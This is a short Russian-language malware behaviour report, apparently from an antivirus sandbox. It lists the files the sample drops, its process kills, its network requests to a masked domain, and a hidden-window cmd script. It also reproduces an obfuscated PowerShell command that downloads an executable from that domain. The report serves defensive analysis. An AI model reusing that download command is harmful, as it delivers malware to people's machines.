Техническая информация
Вредоносные функции
Запускает на исполнение
- '<SYSTEM32>\taskkill.exe' /IM "winword.exe" /F
Изменения в файловой системе
Создает следующие файлы
- C:\game_lods\groters.cmd
- C:\game_lods\netrikos.exe
Сетевая активность
TCP
Запросы HTTP GET
- http://an###style.com/ram2base.php
- http://an###style.com/cgi-sys/suspendedpage.cgi
UDP
- DNS ASK an###style.com
Другое
Ищет следующие окна
- ClassName: '' WindowName: ''
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c ""C:\Game_Lods\Groters.cmd" "' (со скрытым окном)
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c ""C:\Game_Lods\Groters.cmd" "
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' ("Ne"w-Object Net.WebClient")"."Dow"nloadFile"('"http://an###style.com/ram2base.php', 'C:\Game_Lods\Netrikos.exe')
